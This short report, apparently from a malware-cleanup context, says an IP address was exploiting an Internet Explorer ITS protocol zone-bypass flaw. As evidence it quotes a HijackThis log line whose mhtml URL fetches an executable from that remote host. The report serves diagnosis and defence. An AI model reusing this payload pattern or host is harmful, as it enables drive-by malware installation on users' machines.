221.2.162.20 seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:
O16 - DPF: {11111111-1111-1111-2222-111111111157} - mhtml:file://C:NO_SUCH_MHT.MHT!http://221.2.162.20:6180/004/start.exe
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